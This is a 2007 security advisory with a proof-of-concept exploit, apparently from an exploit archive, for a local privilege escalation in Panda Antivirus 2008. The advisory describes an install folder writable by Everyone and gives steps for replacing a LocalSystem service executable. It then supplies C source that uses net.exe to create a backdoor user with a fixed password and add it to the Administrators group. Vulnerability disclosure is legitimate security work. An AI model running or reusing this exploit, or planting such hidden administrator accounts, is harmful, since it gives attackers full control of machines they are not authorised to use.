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Panda Antivirus 2008 Local Privilege Escalation Exploit
======================================================= Panda Antivirus 2008 Local Privilege Escalation Exploit ======================================================= /* _________________________________________ Security Advisory _________________________________________ _________________________________________ Severity: Medium Title: Panda Antivirus 2008 Local Privileg Escalation Date: 02.08.07 Author: tarkus (tarkus (at) tiifp (dot) org) URL: https://tiifp.org/tarkus Vendor: Panda (http://www.pandasoftware.com/) Affected Products: Panda Antivirus 2008 Not Affected Products: - Panda Internetsecurity 2008 - Panda Antivirus + Firewall 2008 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Description: ------------ 1. During installation of Panda Antivirus 2008 the permissions for installation folder %ProgramFiles%\Panda Security\Panda Antivirus 2008\ by default are set to Everyone:Full Control. Few services (e.g. PAVSRV51.EXE) are started from this folder. Services are started under LocalSystem account. There is no protection of service files. It's possible for unprivileged user to replace service executable with the file of his choice to get full access with LocalSystem privileges. Or to get privileges or any user (including system administrator) who logons to vulnerable host. This can be exploited by: a. Rename PAVSRV51.exe to PAVSRV51.old in Panda folder b. Copy any application to PAVSRV51.exe c. Reboot Upon reboot trojaned application will be executed with LocalSystem account. BTW: Check this from last year (http://www.securityfocus.com/bid/19891) POC: ---- */ #include <windows.h> #include <stdio.h> INT main( VOID ) { CHAR szWinDir[ _MAX_PATH ]; CHAR szCmdLine[ _MAX_PATH ]; GetEnvironmentVariable( "WINDIR", szWinDir, _MAX_PATH ); printf( "Creating user \"owner\" with password \"PandaOWner123\"...\n" ); wsprintf( szCmdLine, "%s\\system32\\net.exe user owner PandaOWner123 /add", szWinDir ); system( szCmdLine ); printf( "Adding user \"owner\" to the local Administrators group...\n" ); wsprintf( szCmdLine, "%s\\system32\\net.exe localgroup Administrators owner /add", szWinDir ); system( szCmdLine ); return 0; } # 0day.today [2024-12-24] #